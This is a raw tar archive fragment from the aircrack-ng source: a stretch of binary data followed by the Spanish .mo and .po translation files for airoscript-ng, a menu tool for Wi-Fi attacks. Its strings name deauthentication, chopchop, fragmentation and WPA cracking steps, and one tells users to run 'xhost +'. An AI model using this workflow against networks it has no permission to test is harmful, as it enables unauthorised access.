©ýŽ?ú¡©©7ü7{§©©üŒMþK©©þvõ%Fc{ƒƒ€jO-þ©©ý¥(7þ:©©þo7þ†©©ý§25þG©©ý†3ý"—©©þ^3þq©©ý§A1þQ© ©ý/ý%© ©þ[/þp© ©þ‡/þœ© ©ý -þ(© ©þŸ.þ&© ©þ…/þ›© ©þY/þn© ©ý‘/ý#Ÿ©©ý›71ýD¢©©ü§€*3ü5Ѝ©©ü£H'7ú-IID  ?ý>CCþ"ý$Cþ)CCþ4ý+Cþ;CCýBý1Cý"ACCþ,ý;Cý'BCCþ3üBCý,BCCý5ü(CCý$?CCýB,ü6CCý 5C Cý;%ú@CC"ý"6CCü:)þ(CCþ4õ&/68871)þ;CCýB7þ#CCþ27þ9CCýB!5þ'CCý93ý>CCþ.3þ3CCýB%1þ*C Cþ<0ý?C Cþ,/þ2C Cþ9/þ?C CþA.þC Cþ@.þC Cþ9/þ?C Cþ,/þ2C Cý</ý@CCý?"1ý&ACCüB73ý":CCüA(7ú ''& ?þþýþþ ýþýý ýþýþþ üþýüýþü ý ýúüýþþ û ü þý7þþ 7þþ5þþ4ýþ3þ þ1þ ý/ý þ/þ þ/þ þ.þ þ.þ þ/þ þ/þ þ0ýý1ýý3ýü7ú ?ÿ ©þ’þT© ©þo  ©þ„þ_© ©þj  ©þqþn© ©þ]  ©þZþ{© ©þO  ©þCþ‰© ©þA  ©þ'þ–© ©þ4  ©þ•ý¦© ©þ'  ©þuþ2© ©ý¥  ©þJþI© ©þ©ý¥!þa© ©þz©þ€þx© ©þd©þTþ–© ©þM©ý¥&þ'© ©þ7©þtþF© ©ý¥©þ7þe© ©þŠ©þ‰þˆ© ©þj©þIý$§© ©þK©ý‹þK© ©þ,©ý¨:þu© ©þ—©þvýž© ©þp©ýž(þC© ©þF©þJþv© ©ý¥ ©þvý¡© ©þ…©ý‹þO© ©þUü©‘)þ‹© ©ý¦#ýr"þ4© ©þ/þq© ©þP.ý)¥© ©ý£".þi© ©þs.ý&¢© ©þ8.þn© ©þŒ.ý-¦© ©þR.þ© ©ý—-þ?© ©þZ-ý“© ©ýŸ"-þj© ©þ`-ýB¨© ©ýš,ý"–© ©þY,ý}© ©ý•,þc© ©þD,ý@¨© ©þ~,ý”© ©ý¡,,þY© ©þR-þv© ©þ€.þŒ© ©ý (.þ|© ©ý¨Iþþb© ©þfþ]ý)¢©©ý€ý²þ\©©ý"ýWÔý\¨©©ý‡(ü¹Ô÷ýBC Cþ  Cþ4þ!C CýB  Cþ(þ'C Cþ<CýBþ.C Cþ6Cþ7þ5C Cþ/Cþ+þ=C Cþ)CýBþC Cþ"Cþ4þ'C CýBCþ#þ/C Cþ:Cþ:þ9C Cþ1Cþ'ýBC Cþ(Cþ;þ(C CþCþ#þ4C Cþ>Cþ4þ@C Cþ3Cý@þ%C Cþ'Cþ(þ4C CýBCþ4ý@C Cþ9Cý;þ)C Cþ+üC<þ;C CýBý3þ!C Cþ7/þ3C Cþ).ýBC CýA.þ1C Cþ4.ýAC Cþ".þ2C Cþ;.ýBC Cþ*.þ7C Cþ>.þ%C Cþ,-ý=C Cý@-þ1C Cþ.-þ&C Cý?,ý>C Cþ,,ý7C Cý>,þ/C Cþ&,þ%C Cþ7,ý=C Cý@,þ,C Cþ*-þ4C Cþ8.þ:C CýA.þ6C Cþ'þþ/C Cþ0þ/ýACCý7þLþ-CCý<ý-Tý-BCCý9üLT÷$4BCC9*ü1TT:ûMTT:þ8TT:ý"RTT:þBTT9þ-TT8ýOTT8þ=TT7þ)TT6ý OTT6þBTT5þ6TT4ý*STT3ý"PTT þþ þ   þþ þ   þ þ þ  þþ þ  þþ þ  þþ þ  þþ þ  þ þ þ þþ þýþ þ þþ þ þþ þýþ þþ þ ýþþ þþþ þ þþ þþþ þþþ þþ ý þ ýþ þþþ ýþ ý þýþ þüþ ýý þ þ/þ þ.ý ý.þ þ .ý þ.þ þ.ý þ.þ ý-þ þ-ý ý-þ þ -þ ý,ý þ-þ ý,þ þ,þ þ,ý ý,þ þ-þ þ.þ ý.þ þ/þ þ þýþþ þýýþýüø ü:û:þ :ý:þ9þ8ý8þ 7þ6ý6þ5þ4þ3ýÿ þ@Ô Ôþ¯ýxê êýÓq þFÔ Ôþªýxê êýÓq þLÔ Ôþ£ýxêê éýÓq þRÔ Ôþžýwé éýÓp þbÔ Ôþ–ýwé éýÓp þtÔ Ôþ„ýwé éýÓp þ†Ô Ôþsýwé éýÒp þ—Ô Ôþaýwé éýÒp þªÔ ÔþOýwè èýÑp þ»Ô Ôþ=ýwè èýÑo þÎÔ Ôþ+ýwè èýÑo þ%Ô ÔýÒýwè èýÑo þAÔ ÔþÂýwè èýÑo þ_Ô Ôþ«ýwèè çýÐo þ~Ô Ôþýuç çýÐo þœÔ Ôþoýuç çýÏo þºÔ ÔþQýuç çýÏn ý ÒÔ Ôþ3ýuç çýÏn þ;Ô ÔýÏýuç çýÏn þ_Ô Ôþ´ýuæ æýÎn þŠÔ Ôþ•ýuæ æýÎn þ´Ô Ôþtýuæ æýÎn ý%ÒÔ ÔþKýuæ æýÍm þMÔ ÔýÒ$ýuæ æåýÍm þ|Ô Ôþ´ýtå åýÍm þ¥Ô Ôþ‹ýtå åýÍm ý#ÎÔ Ôþaýtå åýÍm þUÔ Ôþ9ýtå åýÍm þ‹Ô ÔýÉýtå åýÍm ýºÔ Ôþšýtä äýÌl þ?Ô Ôþcýtä äýÌl þtÔ Ôþ0ýtä äýÌl ý¨Ô Ôþ´ ýtä äýÌl ý7ÑÔ Ôþ ýtä äýËl þxÔ ÔþH ýtä äýÊl ý¯Ô ÔýÉ ýsã ãýÊk ý?ÓÔ Ôþ ýrã ãýÊk þ}Ô ÔþP ýrã ãýÊk ý ¿Ô ÔýÄ ýrã ãýÊk þSÔ Ôþ‰ ýrã ãýÊk þŸÔ ÔþG ýrâ âýÉk ü1ÒÔ Ôý½ ýrâ âýÉj ý{Ô Ôþ ýrâ âýÈj ý ÄÔ ÔýÓ4 ýrâ âýÈj þkÔ Ôþž ýrâ âýÈj þ½Ô ÔþV ýrâ âýÈj Ôý½ ýqá áýÈj Ôþyýqá áýÈi ÔýÐ.ýqá áýÈi ÔþŠýqá áýÈi ÔýÒ8ýqá áýÇi Ôþ˜ûqááà àýÆi ÔýÓ<ýqà àýÆi Ôþžýqà àýÆi ÔýÒ=ýqà àýÆh Ôþ”ýqà àýÆh ÔýÏ2ýqà àýÆh Ôþ‰ýpß ßýÅh ÔýÉ,ý oß ßýÅh Ôþjý oß ßýÅh Ôý¶ý oß ßýÄg ÔþLý oß ßýÄg Ôþ•ý oßß ÞýÃg ÔýÅ*ý oÞ ÞýÃg þ&T TþIýyí íý׃ þ(T TþGýyííìýÖƒ þ)T TþEýyì ìýÖƒ þ+T TþDýyì ìýÖƒ þ1T TþAýyì ìýÖƒ þ6T Tþ;ýyì ìýÖ‚ þýxê êýÓ þCT Tþ5ýxê êýÒ þLT Tþ+ýxê êýÒ ýST Tþ"ýxê êýÒ þ$T TýSýxê êýÒ€ þ/T TþJýxê êýÒ€ þ?T Tþ@ýwêêéýÒ€ þQT Tþ6ývé éýÒ€ þT Tþ)ývé éýÒ€ þ0T TýSývé éýÒ€ þKT TþJývé éýÒ€ þXT Tþ=ývé éýÒ~ ý&VT Tþ0ývé éýÑ~ þFT Tþ$ývè èýÐ~ þ[T TýQývè èýÐ~ ý$[T TþBývè èýÐ~ þFT Tþ1ývè èýÐ~ þ^T Tþ!ývè èýÐ~ ý$_T TþJ ývè èýÐ} þFT Tþ9 ýuç çýÏ} þ^T Tþ) ýuç çýÏ} ý&^T TýP ýuç çýÎ} þGT Tþ? ýuç çýÎ} þ_T Tþ* ýuç çýÎ} ý'YT TýO ýuç çýÎ} þIT Tþ< ýtççæýÍ| þ[T Tþ( ýtæ æýÍ| ü,UT TþM ýtæ æýÍ| ýMT Tþ9 ýtæ æýÌ| ýVT Tþ" ýtæ æýÌ| þ:T TþC ýtæ æýÌ| þRT Tþ- ýtæ æýÌ{ TýM ýså åýÌ{ Tþ8ýså åýÌ{ TýS ýså åýÌ{ Tþ=ýså åýÌ{ TýS$ýså åýÌ{ TþAýså åýÌ{ Tþ$ýsä äýËz TþCýsä äýÊz TýS%ýsä äýÊz Tþ@ýsä äýÊz TýS"ýsä äýÊz Tþ=ýsä äýÊz TýPýsää ãýÉy Tþ3ý qã ãýÉy TýJý qã ãýÉy Tþ)ý qã ãýÉy Tþ@ý qã ãýÈy TýOý qã ãýÈy þ þýzí íýØ‹ þ þýzí íýØ‹ þ þýzí íýØŠ þ þýzí íýØŠ þ þ ýzí íýÖŠ þ þ ýzì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖ‰ þ þýyì ìýÖ‰ þ ýxë ëýÕ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þ ýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔˆ þ þýxê êýÓˆ þ þýxê êýÓˆ þ þ ýxê êýÓˆ þ þ ýxê êýÒˆ ý þýxê êýÒˆ þ þýxê êýÒˆ þ+ þýwêêéýÒ‡ þ& þ ývé éýÒ‡ ý' þývé éýÒ‡ þ< þývé éýÒ‡ þ; þývé éýÒ‡ ý( þývé éýÒ‡ þK þývé éýÒ† þO þývè èýІ ý)/ þ ývè èýІ ýN þ  ývè èýІ þN þ ývè èýІ ý+) ý ývè èýІ ýM þ  ývè èýІ þK þ ýuç çýÏ… ý, þ ýuç çýÎ… þB þ  ýuç çýÎ… þ. þ ýuç çýÎ… ü( þ ýuç çýÎ… ý0 þ  ýtç çýÎ… ý þ ýtç çýÎ… þ þ ýtæ æýÍ„ þ þ ýtæ æýÍ„þýtæ æýÍ„þ ýtæ æýÌ„ýýtæ æýÌ„þ ýtæ æýÌ„þýtææåýÌ„þýså åý̃þýså åý̃þýså åý̃þýså åý̃þ ýså åý̃ýýså åý̃þ ýsä äýÊ‚ýýsä äýÊ‚þýsä äýÊ‚ýý rä äýÊ‚þý rä äýÊ‚þ ý rä äýÊ‚ýý qã ãýÉ‚ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ     ýipààý+þy©© ýipààý+ý'ž©© ýipßßý+ýC¨©© ýipßßý+þm©© ýipßßý+ý‘©© ýipßßý+û0¡©© ýioßßý+ü@§© ýioßß Þý+ýa© ýioÞÞý+ýz ýioÞÞý+þ ýioÞÞý+ ýioÞÞý* ýinÞÞý* ýinÝÝý* ýinÝÝý* ýinÝÝý*  ýinÝÝþ]33 ýinÝ#Ý Ü ýimÝÝ*Ü ýemÜ/Ü ýemÜ/Ü ýemÜ/Ü ýemÜ/Ü ýemÜÜÛ ýemÛ/Û ýelÛ/Û ýelÛ/Û ýelÛ/Û ýelÛ$Û Ú ýelÛÛ(Ú ýelÚ/Ú ýelÚ/Ú ýelÚ/Ú e0h þde/e@ ýzƒääý-þ5CC ýzƒääý-ý@CC ýzƒääý-þ&CC ýzƒää ãý,þ2CC ýzããý,ý4ý2BCCý:6ù,220"÷? ?4®áàáhàßà¦ß?y?x@þ 4 þ3 ý2 þ2 þ 2 þ 2 þ2 þ2 þ 3þý3ý ý6ù ÷? ?4tâ áâgáàáàá¾à??€@€ÿ?D@À? ?3{ÜÛÜPÛÚÛðÚ?h?e@À? ?4*áà ágà ßà*ß?y?x@À? ?4âháàácà??€@€ÿ?D@2ý(¹Ô Ô2þ‰Ô Ô1ýIÓÔ Ô1þÔ Ô1þ±Ô Ô1þ¿Ô Ô1þŸÔ Ôþ¼0þwÔ ÔýÏC0ý%ÃÔÔýÓ]2ýTÏÔÔýÓn4ýGÅÔÔýËY6øU†‰‰\#Ã? ?3ÜPÛÚ ÛtÚ?h?e@2ýLT T2þ=T T1þ(T T1þ?T T1þIT T1þMT T1þCT TþL0þ7T TýS&0ýNTTþ/2ý,STTþ44ý(OTTýQ.6ø,<<=/Ã? ?41àßà®ß?y?x@2ý 2þ 1þ 1þ 1þ 1þ 1þ þ0þ ý0ýþ2ýþ4ýý6ø Ã? ?4÷áàáçà??€@€ÿ?D@Ôþ[ý oÞ ÞýÃg Ôþ˜ý oÞ ÞýÃg Ôý½%ý oÞ ÞýÃf üÔÓMý oÞ ÞýÃf ýÔ„ý nÝ ÝýÃf ý©ý nÝ ÝýÂf þ(ý nÝ ÝýÂf ý nÝ ÝýÂf ý nÝ ÝýÂe ý nÝÝ ÜýÁe ý nÜ ÜýÁe ý nÜ ÜýÁe ý nÜ ÜýÀe ý nÜ ÜýÀe ý nÜ ÜýÀd  ýmÛ Ûý¿d 3þŠÛ Ûý¿d .Ûý¿d .Ûý¿d .Ûý¿d &ÛÚý¾d Û&Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .hýfe /eþdNTþ.ý qã ãýÇy TþAý qâ âýÇx TýMý qâ âýÇx Tþ*ý qâ âýÇx ýT;ý qâ âýÇx ýGý qâ âýÆx þý qâ âýÆx ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý páá àýÅw ý pà àýÄv  ýpà àýÄv 4ý5à àýÄv .àýÄv .àýÄv ,àßýÃv àßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .yýxv /xþtNþý qã ãýÈþý qã ãýÈýý qã ãýÈþý qã ãýÈþ ý qã ãýÈ ýý qã ãýÈ þý qâ âýÇ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÆ€ ý qââáýÆ€ ý pá áýÆ€ ý pá áýÆ~  ýpá áýÆ~ 4ý5Žá áýÆ~ .áýÆ~ .áýÆ~ áàýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ /þ~ 0€O/ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþö /Dþ.N    @@@@@@@@@@@@@@@@@@@@@@@@ÔÔÔÔÒ†iC4!aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/0000755000000000000000000000000012660222377021226 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/es_ES.UTF-8/0000755000000000000000000000000012660222377023026 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.mo0000644000000000000000000002705012121241146026133 0ustar rootrootÞ•–ÌÓ| È $X } ž |¿ <K^f} ”¢µÔ)ó!9%[’ª½ÅÔê$6F`q ‚"²Ê çô'E)b Œš'³Ûë û 9N`y1‘'Ã%ë3-a u&ƒ(ª3Ó* 2+S)ª%Ô ú%  2@ Q]n–"¯Òöæ Ý%ç 1 CMg‡-™ÇÏÞö&A X dqŠ‘¥´/½í1 AO%a‡–¦¶Å;Ø%.CSrž"·Úñ+Dat‰¢·Ê å"óM;d ¸Êß÷‘ù*‹!¶!ØzúuŒ £¯È Úè þ&/Fv “(´Ý ïû  % 8 Y y  £ ³ Ì à ö *!)-!W!w!$†!«!$Á!!æ!'"0"A"$X"}""ž"¶"Ñ"å"÷"#-.#$\##œ#?µ#õ# $=$+[$D‡$-Ì$ú$3%H% `%*%#¬%Ð%Ø%7á% &%&6&I&g&{&“&%­&Ó&[æ& B'/L'|'‘'¬'»' Ê'(ë'(6+(b(q(!(£(½(Ö(ï( ))():)A)Z) a)/l)'œ)Ä)Ú)ë)**-/* ]*k*€*–*¬*A¾*+++/+?+N+l+!}+&Ÿ+Æ+5ä+%,#@,d,ƒ,š,²,Â,Ú,ú, -((-RQ-?¤-"ä-. . .&.K‡Ab•&F+g<$=[*V8 IO3–46-)z’ 9P D€mlEHk>„ŠG%jSsM^f5/“'(Œ@ZcwLpr]‚!`2Xd#.‹ˆ~Cvh?"}a‰N0TBW†e”tƒŽ i{y…7\ R;Y1_:xUJuQo nq|‘, Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. ${mark}${red}Select a client${end}\n${mark}${red}WPA attacks${end}\n${mark}${red}Wep attacks${end}\nAccess control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continueAdvanced toolsAiroscript OptionsAnser: Attack - Attack targetAttacks using a clientAutenticationAutentication menuAuto crack wep with wesside-ngAutomatically setting fake macAutomatically setting resolution to $resoAutopwn- Automatic crackingCafe Latte Attack on: $Host_SSID Capturing data on channel: $Host_CHANChange DUMP_PATHChange MAC of interfaceChanged fake_mac :ChannelChannel HopingChecks with airmon-ngChoose Wesside-ng OptionsChoose ap mac Choose router ipChoose source macChopchop attackChopchoping at $Host_SSIDChosse Source IPClient SelectionConservativeCopy data into new folder? (y/N): Crack - Get target keyCrack with manual dictionaryCracking WPACracking WPA with pmk databaseCracking wep, KorekCracking wep, default optionsCracking wep, manual optionsCracking with stdin entered data by $pipeCreate graphsCreate virtual interfaceCreate virtual interface with airtun-ngDeautenticatingDeautenticationDeauth AllDeauth clientDebug Mode enabled, you'll have to manually close windowsDecloack packagesDecrypt current packagesDiagnostics and reportsDirected ChopChoping to $Client_MAC at $Host_SSIDDo you want to launch a browser? [y|N] Do you want to use airserv-ng? [y/N] ERROR: Wrong number enteredEnable dynamic mode (ask for client in each attack)Enable monitor modeEncription isEnter Database location [$db_location]Enter airserv-ng address [127.0.0.1:666]Enter channel (single, range, or comma-separated): Enter destination mac: (FF:FF:FF:FF:FF:FF)Enter extra options to execute: Enter format (CPG|CAPR) (CAPR by default): Enter new path: Erase old folder? (y/N): Error: You have to scan for targets firstError: You must select a target firstEverybodyExecuteExecuting tkiptun-ng for ap $Host_MACExit - QuitsExternal pluginsExtra toolsFake Auth MethodFake autenticationFragmentation attackFragmentation w/o clientGenerate hccap file for oclhashcatGenerating graphicsI cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?InjectionInteractive Packet Sel on: $Host_SSIDInterface cleanupInterface type isInterface used isMain MenuManually enter client MACMerge all ivs from all sessionsMyself (fake mac)Network not encrypted or no network selected No argsNormal cleanupOther aircrack-ng toolsOthers - Various utilitiesPackage manipulationPackage manipulation toolsPlease enter Host SSIDProgressiveReset driverReset selected interfaceReturnReturn to main menuReturn to menuScanningScanning for targets on channel $channel_numberSelect - Reselect targetSelect WPA AttackSelect another interfaceSelect buddy IPSelect clientSelect encryptionSelect merged data as target? (y/N): Select option:Selected clientSelected targetSet resolutionShow kstats reportSorry, you cant crack wpa without a dictionary on $WORDLISTSpecific ChannelStandardStandard aircrack-ngStandard attackStandard attack with QoS (WMM)Start a local server? [y/N] Test injectionTry to configure networkType encryption size (64,128...): Type in client mac nowUnknown resolution, try againUnknown response. Try againUpdate airoscript reportUse precomputed pmk databaseVmware fix for bt4WEP Cracking OptionsWEP/WPA Cracking OptionsWPA Cracking OptionsWPA migration modeWho do you want to deauth?Xor InjectionYou have no IVS, please scan firstYour hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue[Error] Output folder does not exists or is a regular file.[INFO] Output folder isaircrack-ng Korekaircrack-ng defaultsaircrack-ng interactiveyAiroscript se provee bajo la GPL No soy responsable del uso que nadie pueda darle a airoscript Airoscript ha sido escrito con objetivo educativo ${mark}${red}Seleccione un cliente${end}\n${mark}${red}Attaques WPA${end}\n${mark}${red}Attaques WEP${end}\nEl control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enterHerramientas avanzadasOpciones de airoscriptRespuesta: Atacar - Atacar objetivoUsando un clienteAutenticacionMenu de autenticacionAuto crackear wep con wesside-ngConfigurando mac falsa automaticamenteConfigurando resolucion automaticamente a $resoAutopwn - Crackeo automaticoAtaque caffe latte en $Host_SSIDCapturando datos en el canal: $Host_CHANCambiar DUMP_PATHCambiar MACCambiada mac falsaCanalSalto de canalesPruebas con airmonElije las opciones de wesside-ngElegir mac del punto de acceso Elegir ip de routerElegir mac de origen Ataque chopchopChopchopeando $Host_SSIDElegir ip de origenSeleccion de clientesConservadorCopiar datos en el directorio nuevo? (y|N)Crackear - Crackear la clave del objetivoCrackear con diccionario manualCrackeando WPACrackeando WPA con base de datos pmkCrackeando wep, KorekCrackeando wep, opciones por defectoCrackeando wep, opciones manualesCrackeando con datos de stdin por $pipeGenerar graficosCrear interfaz virtualCrear interfaz virtual con airtun-ngDesautenticandoDesautenticacionDesautenticando a todosDesautenticando al clienteModo debug activadoDecloack packagesDesencriptar paquetes actualesDiagnosticos e informesChopchop dirigido a $Client_MAC en $Host_SSID¿Quieres lanzar un navegador? [y|N]¿Quieres usar airserv-ng?Error: Numero incorrectoActivar modo dinamico (preguntar por el cliente en cada ataque)Activar modo monitorLa encriptacion esIntroduzca la localizacion de la base de datos [$db_location]Introduzca ip de airserv-ng [127.0.0.1:666]Introduzca el canal (un solo canal, un rango, o separados por comas)Introduzca mac de destino (FF:FF:FF:FF:FF:FF)Introduzca opciones extraIntroduzca formato (CPG|CAPR) (por defecto es CAPR)Introduzca path nuevo: Borrar antiguo directorio? (y|N)Error: Tienes que escanear objetivos antesError: debe seleccionar un objetivoA todosEjecutarEjecutando tkiptun-ng para el punto de acceso $Host_MACExit - SalePlugins externosHerramientas extraMetodo de autenticacion falsaAutenticacion falsaAtaque de fragmentacionFragmentacion sin clienteGenerar archivo hccap para oclhashcatGenerando graficosNo puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.confInyeccionSeleccion interactiva de paquetes en $Host_SSIDLimpieza de interfazEl tipo de la interfaz es La interfaz esMenu principalIntroducir mac de cliente a manoUnir todos los ivs de todas las sesionesA mi mismo (mac falsa)La red no esta encriptada o no ha seleccionado ningunaSin argumentosLimpieza normalOtras herramientas de aircrack-ngOtros - Utilidades variasManipulacion de paquetesManipulacion de paquetesPor favor, introduzca la SSIDProgresivoResetear driverResetear interfazVolverVolver al menu principalVolverEscaneandoEscanando objetivos en el canal $channel_numberSeleccionar - Seleccionar otro objetivoSelecciona ataque wpaCambiar interfazSeleccionar buddy IPSelecciona un clienteSeleccionar encriptacionSeleccionar datos unidos como objetivo? (y|N)Seleccionar: Cliente seleccionadoObjetivo seleccionadoConfigurar resolucionInforme de kstatsLo siento, no puedes crackear wpa sin un diccionario en $WORDLISTCanal especificoStandardAircrack-ng standardAtaque standardAtaque con QoSUsar un servidor local? [y|N]Probar inyeccionIntentar autoconfiguracion de redTamaño de la encriptacion (64,128...)Introduzca la mac del clienteResolucion desconocida, por favor, intentelo de nuevoRespuesta incorrecta, pruebe de nuevoActualizar informe de airoscript-ngBase de datos precomputada pmkFix de vmware para bt4Opciones de crackeo WEPCrackeo WEP/WPAOpciones de crackeo wpaAtaque de modo de migracion WPA¿A quien quieres deautenticar?Inyeccion XORNo tienes ivs, por favor escanea primeroTu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar[Error] El directorio de salida no existe o no es un directorio[INFO] El directorio de salida es KorekPor defectoInteractivasyaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.po0000644000000000000000000003720412121241146026140 0ustar rootroot#: src/plugins/mdk3:36 msgid "Unknown response. Try again" msgstr "Respuesta incorrecta, pruebe de nuevo" #: src/plugins/digenpy:45 msgid "Encription is" msgstr "La encriptacion es" #: src/plugins/digenpy:52 msgid "Error: You must select a target first" msgstr "Error: debe seleccionar un objetivo" #: src/functions/interface:38 msgid "Automatically setting resolution to $reso" msgstr "Configurando resolucion automaticamente a $reso" #: src/functions/interface:39 msgid "Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue" msgstr "El control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enter" #: src/functions/interface:41 msgid "Set resolution" msgstr "Configurar resolucion" #: src/functions/interface:43 msgid "Unknown resolution, try again" msgstr "Resolucion desconocida, por favor, intentelo de nuevo" #: src/functions/interface:100 msgid "Select option:" msgstr "Seleccionar: " #: src/functions/interface:125 msgid "" "I cant find any good terminal, please set one on your conffile\n" " Your TERMINAL var contains no valid temrinal\n" " Your alternative against x-terminal-emulator contains no terminal\n" " Xterm can\\'t be found on your system, Maybe not in /usr/bin?" msgstr "No puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.conf" #: src/functions/menu:19 msgid "Main Menu" msgstr "Menu principal" #: src/functions/menu:19 msgid "Attack - Attack target" msgstr "Atacar - Atacar objetivo" #: src/functions/menu:19 msgid "Crack - Get target key" msgstr "Crackear - Crackear la clave del objetivo" #: src/functions/menu:19 msgid "Select - Reselect target" msgstr "Seleccionar - Seleccionar otro objetivo" #: src/functions/menu:19 msgid "Others - Various utilities" msgstr "Otros - Utilidades varias" #: src/functions/menu:19 msgid "Autopwn- Automatic cracking" msgstr "Autopwn - Crackeo automatico" #: src/functions/menu:19 msgid "Exit - Quits" msgstr "Exit - Sale" #: src/functions/menu:28 msgid "ERROR: Wrong number entered" msgstr "Error: Numero incorrecto" #: src/functions/menu:43 msgid "You have no IVS, please scan first" msgstr "No tienes ivs, por favor escanea primero" #: src/functions/menu:45 msgid "WEP/WPA Cracking Options" msgstr "Crackeo WEP/WPA" #: src/functions/menu:45 msgid "Crack with manual dictionary" msgstr "Crackear con diccionario manual" #: src/functions/menu:45 msgid "Standard aircrack-ng" msgstr "Aircrack-ng standard" #: src/functions/menu:45 msgid "Return to menu" msgstr "Volver" #: src/functions/menu:60 msgid "Select encryption" msgstr "Seleccionar encriptacion" #: src/functions/menu:60 msgid "Return to main menu" msgstr "Volver al menu principal" #: src/functions/menu:79 msgid "Channel" msgstr "Canal" #: src/functions/menu:79 msgid "Channel Hoping" msgstr "Salto de canales" #: src/functions/menu:79 msgid "Specific Channel" msgstr "Canal especifico" #: src/functions/menu:103 msgid "Extra tools" msgstr "Herramientas extra" #: src/functions/menu:103 msgid "Airoscript Options" msgstr "Opciones de airoscript" #: src/functions/menu:103 msgid "Advanced tools" msgstr "Herramientas avanzadas" #: src/functions/menu:103 msgid "External plugins" msgstr "Plugins externos" #: src/functions/internal/scansel:20 msgid "Enter channel (single, range, or comma-separated): " msgstr "Introduzca el canal (un solo canal, un rango, o separados por comas)" #: src/functions/internal/scansel:23 msgid "Scanning for targets on channel $channel_number" msgstr "Escanando objetivos en el canal $channel_number" #: src/functions/internal/scansel:29 msgid "${mark}${red}Select a client${end}\\n" msgstr "${mark}${red}Seleccione un cliente${end}\\n" #: src/functions/internal/scansel:37 msgid "Client Selection" msgstr "Seleccion de clientes" #: src/functions/internal/scansel:38 msgid "Select client" msgstr "Selecciona un cliente" #: src/functions/internal/scansel:39 msgid "Enable dynamic mode (ask for client in each attack)" msgstr "Activar modo dinamico (preguntar por el cliente en cada ataque)" #: src/functions/internal/scansel:40 msgid "Manually enter client MAC" msgstr "Introducir mac de cliente a mano" #: src/functions/internal/scansel:45 msgid "Type in client mac now" msgstr "Introduzca la mac del cliente" #: src/functions/internal/startup:219 msgid "Interface used is" msgstr "La interfaz es" #: src/functions/internal/startup:220 msgid "Interface type is" msgstr "El tipo de la interfaz es " #: src/functions/internal/startup:228 msgid "Please enter Host SSID" msgstr "Por favor, introduzca la SSID" #: src/functions/internal/startup:266 msgid "Changed fake_mac :" msgstr "Cambiada mac falsa" #: src/functions/internal/startup:269 msgid "Automatically setting fake mac" msgstr "Configurando mac falsa automaticamente" #: src/functions/crack/main:25 msgid "WEP Cracking Options" msgstr "Opciones de crackeo WEP" #: src/functions/crack/main:25 msgid "aircrack-ng defaults" msgstr "Por defecto" #: src/functions/crack/main:25 msgid "aircrack-ng Korek" msgstr "Korek" #: src/functions/crack/main:25 msgid "aircrack-ng interactive" msgstr "Interactivas" #: src/functions/crack/main:27 msgid "Cracking wep, default options" msgstr "Crackeando wep, opciones por defecto" #: src/functions/crack/main:28 msgid "Cracking wep, Korek" msgstr "Crackeando wep, Korek" #: src/functions/crack/main:30 msgid "Type encryption size (64,128...): " msgstr "Tamaño de la encriptacion (64,128...)" #: src/functions/crack/main:31 msgid "Cracking wep, manual options" msgstr "Crackeando wep, opciones manuales" #: src/functions/crack/main:42 msgid 